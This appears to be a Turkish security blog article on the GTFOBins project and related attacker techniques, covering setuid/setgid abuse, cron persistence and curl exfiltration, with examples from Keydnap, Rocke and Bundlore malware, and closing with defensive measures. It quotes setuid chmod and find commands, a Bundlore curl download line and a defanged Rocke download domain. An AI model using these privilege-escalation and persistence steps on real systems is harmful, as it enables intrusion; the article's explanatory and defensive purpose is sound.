Gtfobins, Unix tabanlı işletim sistemlerinde yer alan ikili dosyaların potansiyel olarak kötüye kullanılabilmesi durumlarına dair ayrıntılı bilgiler sunan bir projedir. Bu ikili dosyalar genelde masum amaçlar için tasarlanmış olup, sistemdeki mevcut ayrıcalıkları yükseltmek veya kötüye kullanmak amacıyla kullanılabilir. Gtfobins projesi, bu dosyaların nasıl manipüle edilebileceğine ilişkin örnekler ve yöntemler sağlar; örneğin sudo, su, tar ve find gibi araçlar aracılığıyla yüksek düzeyde sistem komutları çalıştırılabilir.
Sıklıkla Kullanılan Bazı GTFOBins Saldırıları
Abuse Elevation Control Mechanism: Setuid and Setgid
Bir saldırgan, uygulamaların setuid veya setgid bitlerinin ayarlanmasını kötüye kullanarak, daha yüksek ayrıcalıklı bir kullanıcı bağlamında kod çalıştırabilir. Linux veya macOS işletim sistemlerinde, bir uygulamanın setuid veya setgid bitleri etkinleştirildiğinde, bu uygulama sahibi olan kullanıcının veya grubun ayrıcalıkları altında çalışır. Bu, genellikle uygulamanın mevcut kullanıcının ayrıcalıklarından bağımsız olmasını sağlar. Belirli programlar, düzgün bir şekilde işlev görebilmeleri için yükseltilmiş bağlamda çalıştırılmalarını gerektirebilir; ancak, çalıştırma yetkisine sahip kullanıcılar gerekli ayrıcalıklara sahip olmayabilir.
Root kullanıcısının müdahalesi gerektiren sudoers dosyasına giriş yapmak yerine, kullanıcılar chmod komutu aracılığıyla kendi uygulamalarına setuid (chmod 4777 veya chmod u+s) veya setgid (chmod 2775 veya chmod g+s) bayrağı ekleyerek bu ayrıcalıkları ayarlayabilir. Bu yöntemler, uygulamaların sahip oldukları ayrıcalıkları artırır ve saldırganların gelecekte yükseltilmiş bağlamlarda çalışmalarına olanak tanır. Bu tür kötüye kullanımlar genellikle kısıtlı yetkilerle sınırlı yürütme ortamlarını aşma girişimlerinin bir parçası olarak görülür.
Saldırganlar, ayrıca setuid veya setgid bitleri önceden etkinleştirilmiş ikilileri hedefleyebilir. Bu ikililerin varlığı, ls -l komutu ile “s” harfi olarak görünen dosya izinlerinden anlaşılabilir. Find komutu kullanılarak setuid (find / -perm +4000 2>/dev/null) ve setgid (find / -perm +2000 2>/dev/null) bitleri ayarlanmış dosyalar tespit edilebilir ve bu dosyalar kötüye kullanılabilir. Saldırganların bu yöntemleri kullanmaları, sistem üzerinde kontrolü ele geçirmelerine olanak tanıyan önemli bir güvenlik tehdidini ortaya koyar ve bu nedenle sistem yöneticileri tarafından dikkatle izlenmelidir.
Prosedür Örneği – Keydnap Zararlı Yazılımı
Keydnap, özellikle macOS işletim sistemini hedef alan bir tür zararlı yazılımdır. Ana amacı, macOS cihazlarda saklanan anahtar zinciri (keychain) bilgilerini çalmak ve sisteme kalıcı bir arka kapı (backdoor) bırakmaktır. Anahtar zinciri, kullanıcıların şifreleri, hesap bilgileri ve diğer hassas verileri güvenli bir şekilde sakladığı bir sistem bileşenidir. Keydnap, bu değerli bilgileri ele geçirerek, saldırganların kullanıcıların çeşitli hesaplarına erişim kazanmasına olanak tanır. Sistem üzerinde kalıcılık sağlamak için çalışıtırıldıktan sonra, Keydnap arka kapısı, root ayrıcalıkları varsa /Library/LaunchAgents/ dizinine, aksi takdirde $USER/Library/LaunchAgents/ dizinine bir plist dosyası yükler. Bu, yeniden başlatmalar arası kalıcılık sağlamak için yapılır. Library/Application Support/com.apple.iCloud.sync.daemon dizini, icloudsyncd yürütülebilir dosyasını saklamak için kullanılır. Yönetici ayrıcalıklarıyla, icloudsyncd’nin sahibini root:admin olarak değiştirir ve yürütülebilir dosyayı setuid ve setgid yapar, bu da onun gelecekte her zaman root olarak çalışacağı anlamına gelir.
Scheduled Task/Job: Cron
Saldırganlar, zararlı yazılımların ilk yürütülmesi veya tekrar eden etkinliklerinin programlanması için Unix benzeri işletim sistemlerinde yer alan cron aracını istismar edebilirler. Cron, belirlenen zamanlarda görevlerin otomatik olarak çalıştırılmasını sağlayan zaman tabanlı bir iş planlayıcısıdır. Görevlerin zamanlaması ve çalıştırılma sıklığı crontab dosyasında tanımlanır ve bu dosyalar işletim sistemi özgü belirli dizinlerde saklanır.
Linux veya Unix tabanlı sistemlerde, bir saldırgan, cron mekanizmasını kullanarak zararlı programları sistem başladığında veya düzenli aralıklarla otomatik olarak çalıştırmak için yapılandırabilir. Bu yöntem, zararlı yazılımın sisteme yerleşik kalmasını ve sürekli aktif olmasını sağlar, bu da saldırganlara uzun vadeli erişim imkanı verir. Bu pratik, sistem yöneticileri tarafından özellikle dikkatle izlenmesi gereken bir güvenlik tehdididir, çünkü cron tablolarına yapılan herhangi bir değişiklik, sistem güvenliğini doğrudan etkileyebilir.
Prosedür Örneği – Rocke APT
Rocke, kripto para madenciliği amacıyla kurbanların sistem kaynaklarını kullanmayı hedefleyen, Çin kaynaklı olduğu iddia edilen bir tehdit aktörüdür. Bu isim, toplanan kripto paralar için oluşturulan cüzdanın kaydedildiği “[email protected]” e-posta adresinden türetilmiştir.
Rocke tehdit aktörü, bir sistemdeki güvenlik açığını ele geçirdikten sonra, “3389[.]space” adresinden “logo.jpg” adı verilen bir dosyayı indiren ve çalıştıran bir cron job oluşturarak cihazda sürekli bir varlık sağlamaktadır. Bu shell betiği, madencilik işlemi için gerekli yürütülebilir dosyaları tehdit aktörünün Git depolarından indirerek “java” adı altında saklar.
Exfiltration Over Alternative Protocol – curl
Alternatif Protokol Üzerinden Veri Sızdırma, Net/SMB veya FTP gibi çeşitli yaygın işletim sistemi yardımcı programları kullanılarak yapılabilir. macOS ve Linux’ta, curl HTTP/S veya FTP/S gibi protokolleri çağırmak için kullanılabilir ve bu şekilde sistemden veri sızdırılabilir.
Prosedür Örneği – Bundlore Zararlı Yazılımı
macOS Bundlore, bilgisayarlarda istenmeyen reklamlar gösteren ve bağlı olduğu ortaklar tarafından sunulan yazılımları yükleyen bir adware türüdür. Bu zararlı yazılım, kullanıcıların aslen kurmayı hedefledikleri uygulamalar ile birlikte “paket” olarak gelen adware uygulamalarını barındırır. macOS Bundlore, belli bir URL’den veri indirmek için curl -s -L -o "${dir}/stmp.tar.gz" "${dlUrl}"
gibi komutları kullanarak etkinliklerini gerçekleştirir. Bu işlem, zararlı yazılımın sunucudan veri çekmesine ve potansiyel olarak kullanıcı verilerini dışa aktarmasına olanak tanır.
macOS Bundlore tarafından sağlanan pop-up reklamlar, kullanıcıları kötü niyetli internet sitelerine yönlendirme potansiyeline sahiptir veya kişisel bilgilerini paylaşmalarını teşvik edebilir. Ayrıca, bu uygulamalar kullanıcının IP adresi, arama motorlarına yapılan sorgular, ziyaret edilen URL’ler, görüntülenen sayfalar ve şifreler gibi çeşitli kullanıcı-sistem bilgilerini toplayabilir. Bu adware, aynı zamanda tarayıcı performansını olumsuz etkiler.
macOS Bundlore’un yaratıcıları, Apple’ın sunmuş olduğu yeni güvenlik özelliklerine uyum sağlama çabası içindedir. Örneğin, macOS’un 10.13 öncesi sürümlerinde, bu zararlı yazılım, kullanıcıların web aramalarını ele geçirmek için kötü amaçlı tarayıcı uzantıları kurardı. Ancak, Apple’ın güvenlik önlemlerinin güçlendirilmesiyle birlikte, macOS 10.13 ve 10.14 sürümlerinde artık önceki yöntemler yerine özel kullanıcı profilleri kullanılarak aynı amaç hedeflenmektedir. Bu adaptasyon, macOS güvenlik özelliklerinin engellediği eski yaklaşımların yerini almakta ve böylece Bundlore, Apple’ın güvenlik güncellemelerine rağmen etkinliğini sürdürebilmektedir.
Alınabilecek Önlemler
Gtfobins‘den alınabilecek önlemler ise çeşitlilik gösterir. En başta, sistem yöneticilerinin bu araçlara verilen erişimleri sınırlaması gerekir. Yalnızca gerekli kullanıcıların bu araçları kullanabilmesi için yetki düzenlemeleri yapılmalıdır. İkinci olarak, Gtfobins tarafından listelenen araçlar için günlüklerin düzenli olarak incelenmesi, anormal aktivitelerin erken tespit edilmesine olanak sağlar. Ayrıca, bu ikili dosyaların davranışlarını izlemek ve olağandışı kullanımları tespit etmek için davranışsal izleme teknolojilerinin kullanılması da etkili bir yöntemdir.
Sonuç olarak, Gtfobins projesi, Unix benzeri sistemlerde güvenliği artırmak için değerli içgörüler sunar. Bu araçlar hakkında derinlemesine bilgi sahibi olmak ve potansiyel güvenlik açıklarına karşı proaktif önlemler almak, saldırganların kötü niyetli faaliyetlerini önlemek için kritik önem taşır. Sistem yöneticileri ve güvenlik profesyonelleri, Gtfobins tarafından sağlanan bilgileri kullanarak daha güvenli ve dirençli bilgi sistemleri oluşturabilir.